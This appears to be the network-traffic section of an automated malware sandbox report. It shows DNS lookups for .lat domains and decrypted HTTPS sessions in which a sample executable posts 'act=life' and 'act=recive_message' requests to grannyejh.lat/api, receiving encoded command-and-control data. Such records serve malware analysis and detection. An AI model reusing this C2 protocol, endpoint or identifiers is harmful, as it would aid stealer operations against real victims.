Dec 19, 2024 08:21:06.295348883 CET	49716	443	192.168.2.9	104.21.64.80
Dec 19, 2024 08:21:06.295377970 CET	49716	443	192.168.2.9	104.21.64.80
Dec 19, 2024 08:21:06.295463085 CET	443	49716	104.21.64.80	192.168.2.9
Dec 19, 2024 08:21:07.053149939 CET	443	49716	104.21.64.80	192.168.2.9
Dec 19, 2024 08:21:07.053389072 CET	443	49716	104.21.64.80	192.168.2.9
Dec 19, 2024 08:21:07.053478003 CET	49716	443	192.168.2.9	104.21.64.80
Dec 19, 2024 08:21:07.055479050 CET	49716	443	192.168.2.9	104.21.64.80
Dec 19, 2024 08:21:07.055505037 CET	443	49716	104.21.64.80	192.168.2.9
Dec 19, 2024 08:21:07.055845022 CET	49716	443	192.168.2.9	104.21.64.80
Dec 19, 2024 08:21:07.055852890 CET	443	49716	104.21.64.80	192.168.2.9
Dec 19, 2024 08:21:07.075552940 CET	49721	443	192.168.2.9	104.21.64.80
Dec 19, 2024 08:21:07.075602055 CET	443	49721	104.21.64.80	192.168.2.9
Dec 19, 2024 08:21:07.075699091 CET	49721	443	192.168.2.9	104.21.64.80
Dec 19, 2024 08:21:07.077019930 CET	49721	443	192.168.2.9	104.21.64.80
Dec 19, 2024 08:21:07.077034950 CET	443	49721	104.21.64.80	192.168.2.9
Dec 19, 2024 08:21:08.290175915 CET	443	49721	104.21.64.80	192.168.2.9
Dec 19, 2024 08:21:08.290239096 CET	49721	443	192.168.2.9	104.21.64.80
Dec 19, 2024 08:21:08.291860104 CET	49721	443	192.168.2.9	104.21.64.80
Dec 19, 2024 08:21:08.291867971 CET	443	49721	104.21.64.80	192.168.2.9
Dec 19, 2024 08:21:08.292196035 CET	443	49721	104.21.64.80	192.168.2.9
Dec 19, 2024 08:21:08.293409109 CET	49721	443	192.168.2.9	104.21.64.80
Dec 19, 2024 08:21:08.293440104 CET	49721	443	192.168.2.9	104.21.64.80
Dec 19, 2024 08:21:08.293484926 CET	443	49721	104.21.64.80	192.168.2.9
Dec 19, 2024 08:21:09.126009941 CET	443	49721	104.21.64.80	192.168.2.9
Dec 19, 2024 08:21:09.126136065 CET	443	49721	104.21.64.80	192.168.2.9
Dec 19, 2024 08:21:09.126183033 CET	443	49721	104.21.64.80	192.168.2.9
Dec 19, 2024 08:21:09.126211882 CET	443	49721	104.21.64.80	192.168.2.9
Dec 19, 2024 08:21:09.126224995 CET	49721	443	192.168.2.9	104.21.64.80
Dec 19, 2024 08:21:09.126260042 CET	443	49721	104.21.64.80	192.168.2.9
Dec 19, 2024 08:21:09.126281977 CET	49721	443	192.168.2.9	104.21.64.80
Dec 19, 2024 08:21:09.134638071 CET	443	49721	104.21.64.80	192.168.2.9
Dec 19, 2024 08:21:09.134732008 CET	49721	443	192.168.2.9	104.21.64.80
Dec 19, 2024 08:21:09.134746075 CET	443	49721	104.21.64.80	192.168.2.9
Dec 19, 2024 08:21:09.145028114 CET	443	49721	104.21.64.80	192.168.2.9
Dec 19, 2024 08:21:09.145111084 CET	49721	443	192.168.2.9	104.21.64.80
Dec 19, 2024 08:21:09.145121098 CET	443	49721	104.21.64.80	192.168.2.9
Dec 19, 2024 08:21:09.145149946 CET	443	49721	104.21.64.80	192.168.2.9
Dec 19, 2024 08:21:09.145204067 CET	49721	443	192.168.2.9	104.21.64.80
Dec 19, 2024 08:21:09.245538950 CET	443	49721	104.21.64.80	192.168.2.9
Dec 19, 2024 08:21:09.296495914 CET	49721	443	192.168.2.9	104.21.64.80
Dec 19, 2024 08:21:09.296519041 CET	443	49721	104.21.64.80	192.168.2.9
Dec 19, 2024 08:21:09.321872950 CET	443	49721	104.21.64.80	192.168.2.9
Dec 19, 2024 08:21:09.321912050 CET	443	49721	104.21.64.80	192.168.2.9
Dec 19, 2024 08:21:09.321969032 CET	49721	443	192.168.2.9	104.21.64.80
Dec 19, 2024 08:21:09.321980953 CET	443	49721	104.21.64.80	192.168.2.9
Dec 19, 2024 08:21:09.321996927 CET	443	49721	104.21.64.80	192.168.2.9
Dec 19, 2024 08:21:09.322022915 CET	49721	443	192.168.2.9	104.21.64.80
Dec 19, 2024 08:21:09.322041035 CET	49721	443	192.168.2.9	104.21.64.80
Dec 19, 2024 08:21:09.322187901 CET	49721	443	192.168.2.9	104.21.64.80
Dec 19, 2024 08:21:09.322201967 CET	443	49721	104.21.64.80	192.168.2.9
Dec 19, 2024 08:21:09.322232962 CET	49721	443	192.168.2.9	104.21.64.80
Dec 19, 2024 08:21:09.322238922 CET	443	49721	104.21.64.80	192.168.2.9
Dec 19, 2024 08:21:09.557668924 CET	49727	443	192.168.2.9	104.21.64.80
Dec 19, 2024 08:21:09.557707071 CET	443	49727	104.21.64.80	192.168.2.9
Dec 19, 2024 08:21:09.557895899 CET	49727	443	192.168.2.9	104.21.64.80
Dec 19, 2024 08:21:09.558365107 CET	49727	443	192.168.2.9	104.21.64.80
Dec 19, 2024 08:21:09.558403015 CET	443	49727	104.21.64.80	192.168.2.9
Dec 19, 2024 08:21:10.772475958 CET	443	49727	104.21.64.80	192.168.2.9
Dec 19, 2024 08:21:10.772588968 CET	49727	443	192.168.2.9	104.21.64.80
Dec 19, 2024 08:21:10.855987072 CET	49727	443	192.168.2.9	104.21.64.80
Dec 19, 2024 08:21:10.856008053 CET	443	49727	104.21.64.80	192.168.2.9
Dec 19, 2024 08:21:10.856458902 CET	443	49727	104.21.64.80	192.168.2.9
Dec 19, 2024 08:21:10.858601093 CET	49727	443	192.168.2.9	104.21.64.80
Dec 19, 2024 08:21:10.858674049 CET	49727	443	192.168.2.9	104.21.64.80
Dec 19, 2024 08:21:10.858711004 CET	443	49727	104.21.64.80	192.168.2.9
Dec 19, 2024 08:21:11.693056107 CET	443	49727	104.21.64.80	192.168.2.9
Dec 19, 2024 08:21:11.693432093 CET	443	49727	104.21.64.80	192.168.2.9
Dec 19, 2024 08:21:11.693591118 CET	49727	443	192.168.2.9	104.21.64.80
Dec 19, 2024 08:21:11.693998098 CET	49727	443	192.168.2.9	104.21.64.80
Dec 19, 2024 08:21:11.694015980 CET	443	49727	104.21.64.80	192.168.2.9
Dec 19, 2024 08:21:11.833564997 CET	49733	443	192.168.2.9	104.21.64.80
Dec 19, 2024 08:21:11.833606005 CET	443	49733	104.21.64.80	192.168.2.9
Dec 19, 2024 08:21:11.833698988 CET	49733	443	192.168.2.9	104.21.64.80
Dec 19, 2024 08:21:11.833982944 CET	49733	443	192.168.2.9	104.21.64.80
Dec 19, 2024 08:21:11.833997965 CET	443	49733	104.21.64.80	192.168.2.9
Dec 19, 2024 08:21:13.048048019 CET	443	49733	104.21.64.80	192.168.2.9
Dec 19, 2024 08:21:13.048222065 CET	49733	443	192.168.2.9	104.21.64.80
Dec 19, 2024 08:21:13.049585104 CET	49733	443	192.168.2.9	104.21.64.80
Dec 19, 2024 08:21:13.049596071 CET	443	49733	104.21.64.80	192.168.2.9
Dec 19, 2024 08:21:13.049931049 CET	443	49733	104.21.64.80	192.168.2.9
Dec 19, 2024 08:21:13.051301003 CET	49733	443	192.168.2.9	104.21.64.80
Dec 19, 2024 08:21:13.051485062 CET	49733	443	192.168.2.9	104.21.64.80
Dec 19, 2024 08:21:13.051537991 CET	443	49733	104.21.64.80	192.168.2.9
Dec 19, 2024 08:21:13.051603079 CET	49733	443	192.168.2.9	104.21.64.80
Dec 19, 2024 08:21:13.095364094 CET	443	49733	104.21.64.80	192.168.2.9
Dec 19, 2024 08:21:13.899882078 CET	443	49733	104.21.64.80	192.168.2.9
Dec 19, 2024 08:21:13.899988890 CET	443	49733	104.21.64.80	192.168.2.9
Dec 19, 2024 08:21:13.900036097 CET	49733	443	192.168.2.9	104.21.64.80
Dec 19, 2024 08:21:13.900166988 CET	49733	443	192.168.2.9	104.21.64.80
Dec 19, 2024 08:21:13.900185108 CET	443	49733	104.21.64.80	192.168.2.9
Dec 19, 2024 08:21:14.104250908 CET	49738	443	192.168.2.9	104.21.64.80
Dec 19, 2024 08:21:14.104341984 CET	443	49738	104.21.64.80	192.168.2.9
Dec 19, 2024 08:21:14.104434967 CET	49738	443	192.168.2.9	104.21.64.80
Dec 19, 2024 08:21:14.104795933 CET	49738	443	192.168.2.9	104.21.64.80
Dec 19, 2024 08:21:14.104829073 CET	443	49738	104.21.64.80	192.168.2.9
Dec 19, 2024 08:21:15.320893049 CET	443	49738	104.21.64.80	192.168.2.9
Dec 19, 2024 08:21:15.321012020 CET	49738	443	192.168.2.9	104.21.64.80
Dec 19, 2024 08:21:15.322726011 CET	49738	443	192.168.2.9	104.21.64.80
Dec 19, 2024 08:21:15.322737932 CET	443	49738	104.21.64.80	192.168.2.9
Dec 19, 2024 08:21:15.322995901 CET	443	49738	104.21.64.80	192.168.2.9
Dec 19, 2024 08:21:15.324223995 CET	49738	443	192.168.2.9	104.21.64.80
Dec 19, 2024 08:21:15.324383974 CET	49738	443	192.168.2.9	104.21.64.80
Dec 19, 2024 08:21:15.324408054 CET	443	49738	104.21.64.80	192.168.2.9
Dec 19, 2024 08:21:15.324481964 CET	49738	443	192.168.2.9	104.21.64.80
Dec 19, 2024 08:21:15.324491024 CET	443	49738	104.21.64.80	192.168.2.9
Dec 19, 2024 08:21:16.316437960 CET	443	49738	104.21.64.80	192.168.2.9
Dec 19, 2024 08:21:16.316528082 CET	443	49738	104.21.64.80	192.168.2.9
Dec 19, 2024 08:21:16.316649914 CET	49738	443	192.168.2.9	104.21.64.80
Dec 19, 2024 08:21:16.316931963 CET	49738	443	192.168.2.9	104.21.64.80
Dec 19, 2024 08:21:16.316956043 CET	443	49738	104.21.64.80	192.168.2.9
Dec 19, 2024 08:21:16.969892979 CET	49745	443	192.168.2.9	104.21.64.80
Dec 19, 2024 08:21:16.969950914 CET	443	49745	104.21.64.80	192.168.2.9
Dec 19, 2024 08:21:16.970122099 CET	49745	443	192.168.2.9	104.21.64.80
Dec 19, 2024 08:21:16.970355034 CET	49745	443	192.168.2.9	104.21.64.80
Dec 19, 2024 08:21:16.970369101 CET	443	49745	104.21.64.80	192.168.2.9
Dec 19, 2024 08:21:18.190259933 CET	443	49745	104.21.64.80	192.168.2.9
Dec 19, 2024 08:21:18.190489054 CET	49745	443	192.168.2.9	104.21.64.80
Dec 19, 2024 08:21:18.191652060 CET	49745	443	192.168.2.9	104.21.64.80
Dec 19, 2024 08:21:18.191672087 CET	443	49745	104.21.64.80	192.168.2.9
Dec 19, 2024 08:21:18.192307949 CET	443	49745	104.21.64.80	192.168.2.9
Dec 19, 2024 08:21:18.194904089 CET	49745	443	192.168.2.9	104.21.64.80
Dec 19, 2024 08:21:18.194989920 CET	49745	443	192.168.2.9	104.21.64.80
Dec 19, 2024 08:21:18.195004940 CET	443	49745	104.21.64.80	192.168.2.9
Dec 19, 2024 08:21:18.869497061 CET	443	49745	104.21.64.80	192.168.2.9
Dec 19, 2024 08:21:18.869765997 CET	443	49745	104.21.64.80	192.168.2.9
Dec 19, 2024 08:21:18.869863987 CET	49745	443	192.168.2.9	104.21.64.80
Dec 19, 2024 08:21:18.870011091 CET	49745	443	192.168.2.9	104.21.64.80
Dec 19, 2024 08:21:18.870033026 CET	443	49745	104.21.64.80	192.168.2.9
Dec 19, 2024 08:21:19.320652008 CET	49752	443	192.168.2.9	104.21.64.80
Dec 19, 2024 08:21:19.320710897 CET	443	49752	104.21.64.80	192.168.2.9
Dec 19, 2024 08:21:19.320775032 CET	49752	443	192.168.2.9	104.21.64.80
Dec 19, 2024 08:21:19.321196079 CET	49752	443	192.168.2.9	104.21.64.80
Dec 19, 2024 08:21:19.321211100 CET	443	49752	104.21.64.80	192.168.2.9
Dec 19, 2024 08:21:20.541672945 CET	443	49752	104.21.64.80	192.168.2.9
Dec 19, 2024 08:21:20.541800022 CET	49752	443	192.168.2.9	104.21.64.80
Dec 19, 2024 08:21:20.543504000 CET	49752	443	192.168.2.9	104.21.64.80
Dec 19, 2024 08:21:20.543514967 CET	443	49752	104.21.64.80	192.168.2.9
Dec 19, 2024 08:21:20.543744087 CET	443	49752	104.21.64.80	192.168.2.9
Dec 19, 2024 08:21:20.593404055 CET	49752	443	192.168.2.9	104.21.64.80
Dec 19, 2024 08:21:20.624061108 CET	49752	443	192.168.2.9	104.21.64.80
Dec 19, 2024 08:21:20.624876022 CET	49752	443	192.168.2.9	104.21.64.80
Dec 19, 2024 08:21:20.624906063 CET	443	49752	104.21.64.80	192.168.2.9
Dec 19, 2024 08:21:20.625005960 CET	49752	443	192.168.2.9	104.21.64.80
Dec 19, 2024 08:21:20.625032902 CET	443	49752	104.21.64.80	192.168.2.9
Dec 19, 2024 08:21:20.625157118 CET	49752	443	192.168.2.9	104.21.64.80
Dec 19, 2024 08:21:20.625200033 CET	443	49752	104.21.64.80	192.168.2.9
Dec 19, 2024 08:21:20.625318050 CET	49752	443	192.168.2.9	104.21.64.80
Dec 19, 2024 08:21:20.625354052 CET	443	49752	104.21.64.80	192.168.2.9
Dec 19, 2024 08:21:20.625478983 CET	49752	443	192.168.2.9	104.21.64.80
Dec 19, 2024 08:21:20.625515938 CET	443	49752	104.21.64.80	192.168.2.9
Dec 19, 2024 08:21:20.625633001 CET	49752	443	192.168.2.9	104.21.64.80
Dec 19, 2024 08:21:20.625663996 CET	443	49752	104.21.64.80	192.168.2.9
Dec 19, 2024 08:21:20.625674963 CET	49752	443	192.168.2.9	104.21.64.80
Dec 19, 2024 08:21:20.625683069 CET	443	49752	104.21.64.80	192.168.2.9
Dec 19, 2024 08:21:20.625786066 CET	49752	443	192.168.2.9	104.21.64.80
Dec 19, 2024 08:21:20.625814915 CET	443	49752	104.21.64.80	192.168.2.9
Dec 19, 2024 08:21:20.625839949 CET	49752	443	192.168.2.9	104.21.64.80
Dec 19, 2024 08:21:20.625929117 CET	49752	443	192.168.2.9	104.21.64.80
Dec 19, 2024 08:21:20.625950098 CET	49752	443	192.168.2.9	104.21.64.80
Dec 19, 2024 08:21:20.667325020 CET	443	49752	104.21.64.80	192.168.2.9
Dec 19, 2024 08:21:20.667462111 CET	49752	443	192.168.2.9	104.21.64.80
Dec 19, 2024 08:21:20.667495966 CET	443	49752	104.21.64.80	192.168.2.9
Dec 19, 2024 08:21:20.667515993 CET	49752	443	192.168.2.9	104.21.64.80
Dec 19, 2024 08:21:20.667530060 CET	443	49752	104.21.64.80	192.168.2.9
Dec 19, 2024 08:21:20.667561054 CET	49752	443	192.168.2.9	104.21.64.80
Dec 19, 2024 08:21:20.667589903 CET	443	49752	104.21.64.80	192.168.2.9
Dec 19, 2024 08:21:23.054753065 CET	443	49752	104.21.64.80	192.168.2.9
Dec 19, 2024 08:21:23.055013895 CET	443	49752	104.21.64.80	192.168.2.9
Dec 19, 2024 08:21:23.055073023 CET	49752	443	192.168.2.9	104.21.64.80
Dec 19, 2024 08:21:23.055211067 CET	49752	443	192.168.2.9	104.21.64.80
Dec 19, 2024 08:21:23.055231094 CET	443	49752	104.21.64.80	192.168.2.9
Dec 19, 2024 08:21:23.082726002 CET	49763	443	192.168.2.9	104.21.64.80
Dec 19, 2024 08:21:23.082776070 CET	443	49763	104.21.64.80	192.168.2.9
Dec 19, 2024 08:21:23.082848072 CET	49763	443	192.168.2.9	104.21.64.80
Dec 19, 2024 08:21:23.083144903 CET	49763	443	192.168.2.9	104.21.64.80
Dec 19, 2024 08:21:23.083163023 CET	443	49763	104.21.64.80	192.168.2.9
Dec 19, 2024 08:21:24.578365088 CET	49763	443	192.168.2.9	104.21.64.80

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 19, 2024 08:21:04.657655954 CET	54125	53	192.168.2.9	1.1.1.1
Dec 19, 2024 08:21:04.799138069 CET	53	54125	1.1.1.1	192.168.2.9
Dec 19, 2024 08:21:04.801320076 CET	63026	53	192.168.2.9	1.1.1.1
Dec 19, 2024 08:21:04.945044994 CET	53	63026	1.1.1.1	192.168.2.9

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 19, 2024 08:21:04.657655954 CET	192.168.2.9	1.1.1.1	0xe81e	Standard query (0)	sweepyribs.lat	A (IP address)	IN (0x0001)	false
Dec 19, 2024 08:21:04.801320076 CET	192.168.2.9	1.1.1.1	0xc6b5	Standard query (0)	grannyejh.lat	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 19, 2024 08:20:59.407325029 CET	1.1.1.1	192.168.2.9	0xdda0	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 19, 2024 08:20:59.407325029 CET	1.1.1.1	192.168.2.9	0xdda0	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Dec 19, 2024 08:21:04.799138069 CET	1.1.1.1	192.168.2.9	0xe81e	Name error (3)	sweepyribs.lat	none	none	A (IP address)	IN (0x0001)	false
Dec 19, 2024 08:21:04.945044994 CET	1.1.1.1	192.168.2.9	0xc6b5	No error (0)	grannyejh.lat		104.21.64.80	A (IP address)	IN (0x0001)	false
Dec 19, 2024 08:21:04.945044994 CET	1.1.1.1	192.168.2.9	0xc6b5	No error (0)	grannyejh.lat		172.67.179.109	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

grannyejh.lat

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.9	49716	104.21.64.80	443	3200	C:\Users\user\Desktop\S6oj0LoSiL.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 07:21:06 UTC	260	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: grannyejh.lat
2024-12-19 07:21:06 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-19 07:21:07 UTC	1117	IN	HTTP/1.1 200 OK Date: Thu, 19 Dec 2024 07:21:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=0gbo87cb10hb1kvci5t816a1v1; expires=Mon, 14 Apr 2025 01:07:45 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=xARdzXFqy5N2ldW1PFqlGXWWzo5OeV7Y7GtwijO1Tn2g7xXMmQ6LDF1vE6DmVqBG8HhwV5gIq2Km1SxL0yldtDMy2OSNO1A%2F3u58dBYS%2Be%2FnMv69jTgPN6EfWqOScjEu"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f45a247bb350f99-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1672&min_rtt=1665&rtt_var=640&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2829&recv_bytes=904&delivery_rate=1689814&cwnd=164&unsent_bytes=0&cid=9b4816b2efd349c7&ts=819&x=0"
2024-12-19 07:21:07 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-19 07:21:07 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.9	49721	104.21.64.80	443	3200	C:\Users\user\Desktop\S6oj0LoSiL.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 07:21:08 UTC	261	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 47 Host: grannyejh.lat
2024-12-19 07:21:08 UTC	47	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=PsFKDg--pablo&j=
2024-12-19 07:21:09 UTC	1119	IN	HTTP/1.1 200 OK Date: Thu, 19 Dec 2024 07:21:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=8lcra2k7qahjsdd2el8iplukf3; expires=Mon, 14 Apr 2025 01:07:47 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=G1I9tsYEMefjwhrMjkICuQAOPLAxOOQ%2BBem86Ab06agJdkj%2FMqZ7K8fIWjqEq1jBNoDqJAG1vJctmsnARnmQAJgtb7mWSdE8u8FlezL%2FpIwwReeT2Pl%2FxPAYwsnzXiAa"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f45a2548fe80f36-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1655&min_rtt=1614&rtt_var=634&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2831&recv_bytes=944&delivery_rate=1809169&cwnd=228&unsent_bytes=0&cid=02cce7a923150c05&ts=842&x=0"
2024-12-19 07:21:09 UTC	250	IN	Data Raw: 34 36 38 0d 0a 69 6c 41 4c 38 35 6d 35 4c 53 73 5a 51 56 4b 47 4b 32 32 71 57 54 57 2f 44 72 32 6a 6b 73 62 6e 6d 6b 74 2b 6c 57 5a 71 4e 37 2f 78 63 6e 33 52 6f 34 30 42 43 57 6f 6b 63 4c 78 66 48 39 38 38 47 5a 31 76 32 59 47 6f 6f 49 62 32 4f 42 75 35 52 42 78 61 6e 62 41 32 61 70 2f 71 33 41 45 4a 66 44 6c 77 76 48 41 57 69 44 78 62 6e 54 53 66 78 76 69 6b 68 76 59 70 48 2f 34 4a 47 6c 76 63 34 6a 78 73 6d 2f 7a 61 53 55 70 31 4c 44 66 6a 54 67 7a 41 4e 31 7a 53 5a 74 43 42 76 75 53 43 34 47 6c 45 74 79 73 50 51 39 37 48 4d 58 69 59 75 38 51 42 55 44 73 6b 50 4b 51 52 54 38 73 38 56 39 4e 6f 32 63 6a 36 72 6f 2f 2b 4b 42 72 2f 46 67 4e 52 31 2b 49 79 62 35 72 32 30 31 31 48 66 79 73 38 35 55 51 4d 69 48 55 58 32 6e 53 66 6d 62 44 33 74 Data Ascii: 468ilAL85m5LSsZQVKGK22qWTW/Dr2jksbnmkt+lWZqN7/xcn3Ro40BCWokcLxfH988GZ1v2YGooIb2OBu5RBxanbA2ap/q3AEJfDlwvHAWiDxbnTSfxvikhvYpH/4JGlvc4jxsm/zaSUp1LDfjTgzAN1zSZtCBvuSC4GlEtysPQ97HMXiYu8QBUDskPKQRT8s8V9No2cj6ro/+KBr/FgNR1+Iyb5r2011Hfys85UQMiHUX2nSfmbD3t
2024-12-19 07:21:09 UTC	885	IN	Data Raw: 2f 73 34 44 65 49 4a 47 46 4f 64 39 33 78 77 30 66 7a 58 44 78 45 37 4b 7a 7a 71 54 41 7a 48 50 46 62 64 66 74 44 42 38 36 79 4e 2f 43 4d 54 2b 41 73 47 58 39 72 67 4f 32 36 65 2f 4e 4e 4a 52 6e 68 6a 66 71 52 4f 46 34 68 6a 46 2f 31 38 33 4d 4c 6b 71 5a 53 34 4e 6c 4c 75 52 41 39 5a 6e 62 42 79 62 35 2f 36 31 6b 39 62 63 79 67 37 34 56 73 45 77 54 5a 61 33 57 48 56 7a 76 4f 6b 67 76 49 6a 45 2f 30 41 42 56 6a 62 36 44 49 70 33 37 76 63 56 77 6b 6a 59 78 50 68 57 51 6a 45 4c 52 58 6e 4c 4d 43 50 36 65 53 43 39 47 6c 45 74 77 77 4e 56 74 37 6a 50 57 71 5a 38 4d 6c 50 57 33 30 75 4e 66 5a 50 43 73 59 78 56 4d 39 6d 30 63 66 7a 72 59 37 78 4c 42 76 7a 52 45 59 56 32 76 42 79 4d 64 48 61 31 6b 52 46 63 54 51 77 70 46 5a 42 30 58 74 51 30 53 79 48 67 66 53 6c Data Ascii: /s4DeIJGFOd93xw0fzXDxE7KzzqTAzHPFbdftDB86yN/CMT+AsGX9rgO26e/NNJRnhjfqROF4hjF/183MLkqZS4NlLuRA9ZnbByb5/61k9bcyg74VsEwTZa3WHVzvOkgvIjE/0ABVjb6DIp37vcVwkjYxPhWQjELRXnLMCP6eSC9GlEtwwNVt7jPWqZ8MlPW30uNfZPCsYxVM9m0cfzrY7xLBvzREYV2vByMdHa1kRFcTQwpFZB0XtQ0SyHgfSl
2024-12-19 07:21:09 UTC	1369	IN	Data Raw: 34 34 62 34 0d 0a 2f 54 68 5a 30 32 76 4a 67 65 2f 71 6e 4c 67 75 45 4c 64 63 53 46 72 53 35 7a 70 70 6b 50 2f 57 53 30 68 32 4c 7a 6e 6e 52 51 50 41 4e 6c 76 5a 59 39 66 4a 38 36 79 58 39 69 63 61 38 51 51 4e 46 5a 4f 6f 4e 58 48 52 6f 35 74 72 52 32 77 33 4f 36 5a 38 44 4d 59 31 55 4d 73 73 77 49 2f 70 35 49 4c 30 61 55 53 33 43 67 56 65 30 65 38 37 61 4a 4c 37 30 55 46 47 63 53 73 34 35 45 51 4f 77 7a 4e 52 30 47 66 51 7a 76 65 73 68 76 51 73 45 66 52 45 52 68 58 61 38 48 49 78 30 64 37 56 54 46 68 71 59 51 58 6e 52 77 48 50 4c 52 66 43 49 73 61 42 39 36 6a 46 6f 47 6b 57 38 41 4d 4d 57 4e 66 72 4e 6d 32 63 39 4e 4a 47 51 47 6b 70 50 4f 70 62 41 73 49 2b 57 64 46 70 30 4d 48 78 70 59 76 79 49 6c 79 35 52 41 39 4e 6e 62 42 79 52 70 7a 72 79 55 56 43 61 Data Ascii: 44b4/ThZ02vJge/qnLguELdcSFrS5zppkP/WS0h2LznnRQPANlvZY9fJ86yX9ica8QQNFZOoNXHRo5trR2w3O6Z8DMY1UMsswI/p5IL0aUS3CgVe0e87aJL70UFGcSs45EQOwzNR0GfQzveshvQsEfRERhXa8HIx0d7VTFhqYQXnRwHPLRfCIsaB96jFoGkW8AMMWNfrNm2c9NJGQGkpPOpbAsI+WdFp0MHxpYvyIly5RA9NnbByRpzryUVCa
2024-12-19 07:21:09 UTC	1369	IN	Data Raw: 4f 46 34 68 6a 46 2f 4a 76 79 63 75 77 75 38 76 68 61 52 76 37 52 46 41 56 31 2b 51 32 61 70 33 79 31 30 4a 49 66 79 51 39 34 45 6b 4a 7a 6a 35 57 31 6d 54 54 7a 76 71 6f 67 66 51 67 47 76 73 48 43 31 4f 64 70 6e 4a 75 69 62 75 44 44 32 68 32 4b 44 7a 6b 53 68 37 50 65 78 6d 64 59 74 6e 42 73 50 79 54 36 44 34 62 36 45 6f 52 46 64 72 6b 63 6a 48 52 38 63 6c 4b 52 33 38 70 4e 65 42 46 42 63 67 2b 52 64 56 71 32 4d 33 34 6f 59 72 2b 4c 42 48 77 44 77 74 48 7a 2b 73 32 5a 35 32 37 6c 51 39 4f 59 32 4e 6f 70 47 77 59 79 79 74 52 33 69 7a 41 6a 2b 6e 6b 67 76 52 70 52 4c 63 45 42 6c 6e 57 37 7a 6c 69 6c 66 2f 62 51 6b 4a 31 4c 54 6e 6f 51 51 50 50 4b 56 72 59 5a 4e 58 49 39 61 69 49 2b 7a 73 66 39 6b 52 47 46 64 72 77 63 6a 48 52 33 4f 68 34 61 6a 73 38 66 76 Data Ascii: OF4hjF/Jvycuwu8vhaRv7RFAV1+Q2ap3y10JIfyQ94EkJzj5W1mTTzvqogfQgGvsHC1OdpnJuibuDD2h2KDzkSh7PexmdYtnBsPyT6D4b6EoRFdrkcjHR8clKR38pNeBFBcg+RdVq2M34oYr+LBHwDwtHz+s2Z527lQ9OY2NopGwYyytR3izAj+nkgvRpRLcEBlnW7zlilf/bQkJ1LTnoQQPPKVrYZNXI9aiI+zsf9kRGFdrwcjHR3Oh4ajs8fv
